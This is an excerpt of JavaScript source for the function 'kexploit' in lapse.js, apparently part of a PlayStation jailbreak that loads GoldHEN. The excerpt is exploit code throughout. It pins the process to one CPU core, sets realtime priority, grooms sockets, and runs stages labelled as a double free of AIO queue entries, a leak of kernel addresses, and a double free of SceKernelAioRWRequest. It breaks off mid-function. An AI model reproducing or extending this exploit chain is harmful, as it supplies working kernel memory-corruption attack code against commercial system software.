Function kexploit

g2all/700/lapse.js:1691–1778

()

//
// the exploit implementation also assumes that we are pinned to one core
export async function kexploit() {
  const _init_t1 = performance.now();
  await init();
  const _init_t2 = performance.now();

  try {
    chain.sys('setuid', 0);
  } catch (e) {
    localStorage.ExploitLoaded = "no";
  }

  if (localStorage.ExploitLoaded === "yes" && sessionStorage.ExploitLoaded != "yes") {
    msgs.innerHTML = "GoldHEN is Already Loaded ...";
    return new Promise(() => {});
  }

  const current_core = get_current_core();
  const current_rtprio = get_current_rtprio();
  log(`current core: ${current_core}`);
  log(`current rtprio: type=${current_rtprio.type} prio=${current_rtprio.prio}`);

  const main_mask = new Buffer(sizeof_cpuset_t_);
  get_cpu_affinity(main_mask);
  log(`main_mask: ${main_mask}`);

  log(`pinning process to core #${main_core}`);
  pin_to_core(main_core);
  get_cpu_affinity(main_mask);
  log(`main_mask: ${main_mask}`);

  log("setting main thread's priority");
  set_rtprio({ type: RTP_PRIO_REALTIME, prio: 0x100 });

  const [block_fd, unblock_fd] = (() => {
    const unix_pair = new View4(2);
    sysi("socketpair", AF_UNIX, SOCK_STREAM, 0, unix_pair.addr);
    return unix_pair;
  })();

  const sds = [];
  for (let i = 0; i < num_sds; i++) {
    sds.push(new_socket());
  }

  let block_id = null;
  let groom_ids = null;

  try {
    log("STAGE: Setup");
    [block_id, groom_ids] = setup(block_fd);

    log("\nSTAGE: Double free AIO queue entry");
    const sd_pair = double_free_reqs2(sds);

    log("\nSTAGE: Leak kernel addresses");
    const [reqs1_addr, kbuf_addr, kernel_addr, target_id, evf] = leak_kernel_addrs(sd_pair);

    log("\nSTAGE: Double free SceKernelAioRWRequest");